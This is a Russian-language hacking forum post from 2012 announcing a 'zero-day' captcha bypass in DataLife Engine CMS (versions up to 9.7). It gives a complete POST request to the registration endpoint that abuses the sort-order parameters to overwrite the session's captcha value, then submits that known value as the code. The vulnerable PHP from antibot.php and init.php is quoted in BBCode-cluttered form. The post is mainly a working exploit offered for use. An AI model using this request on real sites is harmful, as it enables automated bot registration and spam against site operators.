
18.11.2012, 08:03
|
|
Новичок
Регистрация: 08.05.2011
Сообщений: 29
Провел на форуме: 5997
Репутация:
21
|
|
DLE 0day Captcha bypass
Обходим стандартную каптчу на последних версиях скрипта (в т.ч. 9.7)
на примере регистрации
Код:
POST /?do=register
dle_rules_accept=yes
set_direction_sort=1
dledirection=desc
set_new_sort=sec_code_session
dlenewssortby=date
sec_code=date
name=name
email=email@example.com
password1=pass
password2=pass
submit_reg=register
PoC
Стандартный генератор каптчи записывает значение секретного кода в сессию:
engine/modules/antibot.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$im[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]genrandomimage[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$im[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]genstring[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'sec_code_session'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$im[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]keystring[/COLOR][COLOR="#007700"];[/COLOR][/COLOR]
А в файле engine/init.php есть код определения порядка сортировки:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset ([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'set_new_sort'[/COLOR][COLOR="#007700"]] ) and[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'allow_change_sort'[/COLOR][COLOR="#007700"]]) {
[/COLOR][COLOR="#0000BB"]$allowed_sort[/COLOR][COLOR="#007700"]= array (
[/COLOR][COLOR="#DD0000"]'date'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'rating'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'news_read'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'comm_num'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'title'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$find_sort[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"."[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]totranslit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'set_new_sort'[/COLOR][COLOR="#007700"]] ) );
[/COLOR][COLOR="#0000BB"]$direction_sort[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"."[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]totranslit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'set_direction_sort'[/COLOR][COLOR="#007700"]] ) );
if ([/COLOR][COLOR="#0000BB"]in_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dlenewssortby'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$allowed_sort[/COLOR][COLOR="#007700"])) {
if ([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dledirection'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]"desc"[/COLOR][COLOR="#007700"]or[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dledirection'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]"asc"[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$find_sort[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dlenewssortby'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$direction_sort[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dledirection'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dle_no_cache'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#DD0000"]"1"[/COLOR][COLOR="#007700"];
}
}
}[/COLOR][/COLOR]
он позволяет записать одно из фиксированных значение в произвольное поле сессии.
Подставляем одно из возможных значение в поле sec_code_session и передаем его же вместо кода проверки
(c) SecondLife
|
|
|